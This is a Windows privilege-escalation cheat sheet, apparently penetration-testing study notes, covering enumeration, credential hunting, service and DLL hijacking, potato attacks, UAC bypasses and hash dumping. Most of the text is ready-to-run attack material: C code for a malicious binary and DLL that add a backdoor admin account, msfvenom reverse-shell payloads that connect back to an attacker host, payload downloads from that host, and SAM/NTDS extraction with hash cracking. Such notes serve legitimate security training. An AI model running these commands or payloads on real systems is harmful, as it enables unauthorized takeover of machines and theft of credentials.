Windows Privilege Escalation
- Have a quick look around for files on the user's desktop and common locations (
C:\andC:\Program Files). - Read through interesting files — they may contain useful information for privilege escalation.
- Try things that don't have many steps first (registry exploits, services, etc.).
- Look at admin processes, enumerate their versions, and search for exploits.
- Check for internal ports that you might be able to forward to your attacking machine.
- If you still don't have admin, re-read your full enumeration dumps and highlight anything that seems odd.
- At this stage, start thinking about kernel exploits.
# Set environment variables
export TARGET=<ip>
export LHOST=<your-ip>
export LPORT=4444
Core Concepts
Security Identifiers (SID)
Windows uses SIDs to identify entities. A SID is a unique value assigned to each principal (user, group) that can be authenticated. Windows uses only the SID — not usernames — for access control management.
SID structure: S-R-X-Y
S— literal "S" indicating a SID stringR— revision, always "1"X— identifier authority (5 = NT Authority, most common)Y— sub authorities (domain identifier + relative identifier / RID)
Example: S-1-5-21-1336799502-1441772794-948155058-1001
The RID starts at 1000 for nearly all principals. RID 1001 means this is the second local user created on the system.
Well-known SIDs:
| SID | Identity |
|---|---|
S-1-0-0 | Nobody |
S-1-1-0 | Everybody |
S-1-5-11 | Authenticated Users |
S-1-5-18 | Local System |
S-1-5-domainid-500 | Administrator |
Access Tokens
- Primary Token — created when user logs in, copied to every new process the user starts
- Impersonation Token — allows a process/thread to temporarily run as another user
Mandatory Integrity Control (MIC)
From Windows Vista onward, processes run at four integrity levels:
| Level | Description |
|---|---|
| System | Kernel-mode processes with SYSTEM privileges |
| High | Processes with administrative privileges |
| Medium | Standard user privilege processes |
| Low | Restricted/sandboxed processes (e.g., web browsers) |
User Account Control (UAC)
UAC issues two access tokens to admin users at logon:
- Filtered admin token — used for all non-privileged operations
- Full administrator token — activated only when elevation is explicitly required (UAC consent prompt)
First Steps
Always start here:
whoami /priv
Check what privileges you have — you may be able to abuse them immediately (e.g., SeImpersonatePrivilege).
systeminfo
whoami /groups
Check network connections for internal services:
netstat -ano
Automated Enumeration Tools
WinPEAS
# If running in cmd, add color support first
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
# Restart cmd, then:
.\winPEASx64.exe
Tools can be wrong — always confirm findings manually if possible.
Legend:
- 🔴 Red — special privilege or misconfiguration
- 🟢 Green — protection enabled or well configured
- 🔵 Cyan — active users
- ⚫ Blue — disabled users
Seatbelt
.\Seatbelt.exe NonstandardServices
.\Seatbelt.exe all
https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/blob/master/Seatbelt.exe
PowerUp (PowerShell)
powershell -exec bypass
. .\PowerUp.ps1
Invoke-AllChecks
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
accesschk.exe
Used to check whether a user or group has access to files, directories, services, and registry keys. Use the older CLI version that still accepts /accepteula.
Post-Exploit Survey (Information Gathering)
Do not underestimate the laziness of users. Check for notes on desktops with passwords, config files, and onboarding documents.
Search for Sensitive Files
Search for password manager databases:
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Search for config files in application directories:
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Search for documents in a user's home directory:
Get-ChildItem -Path C:\Users\$USER\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue
Found a username and password? Check what groups the user is a member of. If they're in the RDP group, RDP in. If they have "Log on as a batch job" rights, schedule a task. If they have an active session, use PsExec.
Runas (If GUI Access)
If you have RDP access and found credentials for another user:
runas /user:<username> cmd.exe
Running Processes
Get-Process
Installed Software
Get-CimInstance -ClassName Win32_Product | Select Name, Version
Once you identify installed software, check for master passwords, default passwords, and public exploits. Locating passwords for those programs may enable privileged access.
PowerShell History (Information Goldmine)
Get-History
Get-History
Clear-History only clears PowerShell's own history. It does NOT clear PSReadline history.
PSReadline History
Starting with PowerShell v5+, the PSReadline module records command history separately:
(Get-PSReadlineOption).HistorySavePath
Then read the file at that path. Users often don't realize Clear-History doesn't clear this file, and it may contain passwords typed as part of commands.
Search all users' PSReadline history (if you have access):
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object { Write-Host "=== $($_.FullName) ==="; Get-Content $_ }
PowerShell Transcription
When enabled, transcription logs everything typed in PowerShell. Transcript files are often saved in user home directories or a central directory. These can contain credentials and other sensitive commands.
Script Block Logging
Records full content of code and commands as they are executed, including the original representation of encoded commands. Check Event Viewer for PowerShell events.
Service Binary Hijacking
Identify Services Outside System32
Services not in C:\Windows\System32 are user-installed and may have weak permissions:
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}
When using a network logon (WinRM, bind shell), Get-CimInstance and Get-Service may return "permission denied" for non-admin users. Use an interactive logon (RDP) instead.
Check Permissions
icacls "C:\path\to\service\binary.exe"
Permission masks:
| Mask | Permission |
|---|---|
F | Full access |
M | Modify access |
RX | Read and execute |
R | Read-only |
W | Write-only |
If BUILTIN\Users has F (full access), any user can replace the binary.
Exploit
- Cross-compile a malicious binary on Kali:
#include <stdlib.h>
int main() {
int i;
i = system("net user newadmin Password123! /add");
i = system("net localgroup administrators newadmin /add");
return 0;
}
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe
- Transfer and replace the service binary
- Restart the service:
net stop <servicename>
net start <servicename>
If you can't stop the service, check if it auto-starts at boot:
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like '<servicename>'}
If auto-start, check if you can restart the machine:
whoami /priv
# Look for SeShutdownPrivilege
Insecure Service Permissions
Different from binary hijacking — here the service configuration itself is writable, not just the binary. If you can modify the service's configuration, you can change which binary it runs.
Check Service Permissions
.\accesschk.exe /accepteula -uwcqv $USER *
Look for services where your user has SERVICE_CHANGE_CONFIG.
Or check a specific service:
.\accesschk.exe /accepteula -ucqv $USER <servicename>
Exploit
Change the service binary path to your payload:
sc.exe config <servicename> binpath= "C:\Users\Public\reverse.exe"
sc.exe config <servicename> obj= ".\LocalSystem"
net stop <servicename>
net start <servicename>
This is different from service binary hijacking (replacing the file) and unquoted service paths (exploiting spaces). Here you're reconfiguring the service itself to point to a different binary entirely.
Unquoted Service Paths
If a service path contains spaces and isn't quoted, Windows tries multiple interpretations:
For path: C:\Program Files\Some Dir\SomeProgram.exe
Windows checks in order:
C:\Program.exeC:\Program Files\Some.exeC:\Program Files\Some Dir\SomeProgram.exe
Exploitation
Check if you can start/stop the service:
.\accesschk.exe /accepteula -ucqv $USER <servicename>
Look for SERVICE_START and SERVICE_STOP.
Check write permissions on each directory in the path:
.\accesschk.exe /accepteula -uwdq C:\
.\accesschk.exe /accepteula -uwdq "C:\Program Files\"
.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
Look for a group you're a member of that has RW permissions. Then drop your reverse shell at the right location and restart the service.
DLL Hijacking
DLLs provide shared functionality to programs. When a service loads a DLL, whatever code it contains runs with the same privileges as the service.
DLL Search Order (Safe DLL Search Mode Enabled)
- Directory the application loaded from
- System directory (
C:\Windows\System32) - 16-bit system directory
- Windows directory (
C:\Windows) - Current directory
- Directories in the PATH environment variable
Missing DLL Exploitation
If a service tries to load a DLL that doesn't exist, you can place a malicious DLL in a directory that's searched first.
Create a malicious DLL:
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
system("net user newadmin Password123! /add");
system("net localgroup administrators newadmin /add");
break;
}
return TRUE;
}
Cross-compile:
x86_64-w64-mingw32-gcc dll_hijack.c -shared -o hijacked.dll
The wlbsctrl.dll hijack targeting the IKEEXT service is a well-documented technique. The legitimate DLL is not present on default Windows installations, and the service loads it without an absolute path. Place a malicious version in C:\Windows\System32 and restart.
Weak Registry Permissions
Check WinPEAS Output
Look for registry keys you can write to. Confirm permissions:
Get-Acl HKLM:\System\CurrentControlSet\Services\<servicename>
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<servicename>
If NT AUTHORITY\INTERACTIVE has KEY_ALL_ACCESS, any locally logged-in user can modify the key.
Exploit
Check current values:
reg query HKLM\SYSTEM\CurrentControlSet\Services\<servicename>
Look at ObjectName — if it's LocalSystem, the service runs as SYSTEM.
Overwrite the image path:
reg add HKLM\SYSTEM\CurrentControlSet\Services\<servicename> /v ImagePath /t REG_EXPAND_SZ /d C:\path\to\reverse.exe /f
Restart the service:
net start <servicename>
Scheduled Tasks
List all scheduled tasks with verbose detail:
schtasks /query /fo LIST /v
Look for tasks that:
- Run as a privileged user (e.g.,
daveadmin,SYSTEM) - Execute files in directories you can write to
- Run frequently (every minute, every 5 minutes)
Check your permissions on the executable:
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
If you have Full Access (F), replace the executable with your payload and wait for the next scheduled execution.
AutoRuns
Check for writable autorun executables:
.\winPEASany.exe quiet applicationsinfo
Or manually:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Verify permissions:
.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"
If writable, replace the executable and wait for a reboot. The key runs in the context of the last logged-in user.
AlwaysInstallElevated
MSI files can be configured to install with elevated privileges. Both of these registry values must be set to 1:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Or check with WinPEAS:
.\winPEASany.exe quiet windowscreds
Generate a malicious MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o reverse.msi
Saved Credentials
Check for saved credentials:
cmdkey /list
If credentials are stored, use them with runas:
runas /savecred /user:<admin-username> C:\path\to\reverse.exe
SAM and SYSTEM Backups
Check common backup locations:
dir C:\Windows\Repair\
dir C:\Windows\System32\config\RegBack\
If you can read SAM and SYSTEM files, extract hashes:
# On Kali
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Crack hashes:
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
GPP / cPassword (Group Policy Preferences)
Older Group Policy Preferences allowed admins to set local passwords, which were stored in SYSVOL as AES-encrypted XML. Microsoft published the AES key, so anyone who can read SYSVOL can decrypt these passwords.
Check for GPP Files
findstr /S /I cpassword \\$DOMAIN\SYSVOL\$DOMAIN\Policies\*.xml
Or search manually:
Get-ChildItem -Path "\\$DOMAIN\SYSVOL" -Recurse -Include Groups.xml,Services.xml,ScheduledTasks.xml,DataSources.xml,Printers.xml,Drives.xml
Decrypt the Password
gpp-decrypt "<cpassword-value>"
Microsoft patched this in MS14-025 (2014), but old GPP files may still exist in SYSVOL if they were never cleaned up. Always check.
Installed Applications
Manually enumerate running programs:
tasklist /v
Search for nonstandard processes with Seatbelt:
.\Seatbelt.exe NonstandardProcesses
WinPEAS:
.\winPEASany.exe quiet procesinfo
Once you find an interesting process, identify its version and search Exploit-DB:
- Type: local
- Platform: Windows
- Search: priv esc
Kernel Exploits
- Enumerate Windows version and patch level:
systeminfo
- Check installed security updates:
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
- Cross-reference with known kernel CVEs at https://msrc.microsoft.com/
- Search for public exploit code (Google, ExploitDB, GitHub)
SeImpersonatePrivilege (Potato Attacks)
If whoami /priv shows SeImpersonatePrivilege, you can abuse named pipes to escalate to SYSTEM.
This privilege is common on:
- IIS web servers (LocalService, LocalSystem, NetworkService, ApplicationPoolIdentity)
- SQL Server service accounts
- Other Windows service accounts
SigmaPotato
Universal potato that works across multiple Windows versions:
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
python3 -m http.server 80
On target:
iwr -uri http://$LHOST/SigmaPotato.exe -OutFile SigmaPotato.exe
.\SigmaPotato.exe "net user newadmin Password123! /add"
.\SigmaPotato.exe "net localgroup Administrators newadmin /add"
PrintSpoofer
Exploits the Print Spooler service for SYSTEM escalation. Works on Windows 10 and Server 2016/2019:
.\PrintSpoofer64.exe -i -c powershell
Or execute a command directly:
.\PrintSpoofer64.exe -c "C:\Users\Public\reverse.exe"
https://github.com/itm4n/PrintSpoofer
GodPotato
Works on Windows 8 through Windows 11 and Server 2012 through Server 2022:
.\GodPotato.exe -cmd "C:\Users\Public\reverse.exe"
.\GodPotato.exe -cmd "cmd /c whoami"
https://github.com/BeichenDream/GodPotato
JuicyPotato
Works on older Windows versions (Windows 7, Server 2008/2012). Requires selecting a CLSID:
.\JuicyPotato.exe -l 1337 -p C:\Users\Public\reverse.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
CLSID list: https://ohpe.it/juicy-potato/CLSID/
Hot Potato
Works on Windows 7, 8, early Windows 10, and server counterparts. Spoofing + NTLM relay attack:
.\potato.exe -ip $TARGET -cmd "C:\path\to\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
Wait for a Windows Defender update or trigger one manually.
When choosing a potato attack, start with SigmaPotato or GodPotato (broadest compatibility), then fall back to PrintSpoofer or JuicyPotato if those don't work on your target version.
Token Impersonation (Incognito)
If you have SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege, you can steal tokens from other processes.
Meterpreter Incognito
load incognito
list_tokens -u
impersonate_token "DOMAIN\\Administrator"
Standalone Incognito
.\incognito.exe list_tokens -u
.\incognito.exe execute -c "DOMAIN\Administrator" cmd.exe
Token impersonation requires that the target user has an active session or a running process on the machine. It's most effective on servers where multiple users are logged in.
SeBackupPrivilege
Allows reading any file on the system, including SAM and SYSTEM registry hives, regardless of file permissions.
Extract SAM and SYSTEM
reg save HKLM\SAM C:\Users\Public\SAM
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM
Transfer to Kali and extract hashes:
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Copy NTDS.dit (on Domain Controllers)
Use robocopy with backup mode or diskshadow:
# Create a shadow copy script
echo "set context persistent nowriters" > script.txt
echo "add volume c: alias mydrive" >> script.txt
echo "create" >> script.txt
echo "expose %mydrive% z:" >> script.txt
diskshadow /s script.txt
# Copy NTDS.dit from the shadow copy
robocopy /b z:\Windows\NTDS C:\Users\Public\ NTDS.dit
SeLoadDriverPrivilege
Allows loading kernel drivers. A malicious driver can execute arbitrary code in kernel mode.
The Capcom.sys driver is a commonly used exploit vector — it contains a function that disables SMEP and executes user-mode code with kernel privileges.
UAC Bypass
If you're logged in as a local admin but UAC is filtering your token, you need to bypass UAC to get a high-integrity process.
fodhelper.exe Bypass
Works on Windows 10:
# Set the registry key to hijack fodhelper's auto-elevate behavior
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "C:\Users\Public\reverse.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f
# Trigger fodhelper (auto-elevates without UAC prompt)
fodhelper.exe
# Cleanup
reg delete "HKCU\Software\Classes\ms-settings" /f
eventvwr.exe Bypass
Similar technique using Event Viewer:
reg add "HKCU\Software\Classes\mscfile\Shell\Open\command" /d "C:\Users\Public\reverse.exe" /f
eventvwr.exe
reg delete "HKCU\Software\Classes\mscfile" /f
UAC bypass only works if you're already a member of the local Administrators group running with a filtered token. If you're a standard user, UAC bypass won't help — you need a different escalation path.
Port Forwarding (plink.exe)
When an exploit needs to run from Kali but the vulnerable service is only listening on localhost:
plink.exe <kali-user>@$LHOST -R <kali-port>:127.0.0.1:<target-port>
Ensure SSH on Kali has PermitRootLogin yes in /etc/ssh/sshd_config and restart the SSH service.
Generating Payloads (msfvenom)
Windows reverse shell:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o reverse.exe
MSI package:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f msi -o reverse.msi
DLL payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f dll -o malicious.dll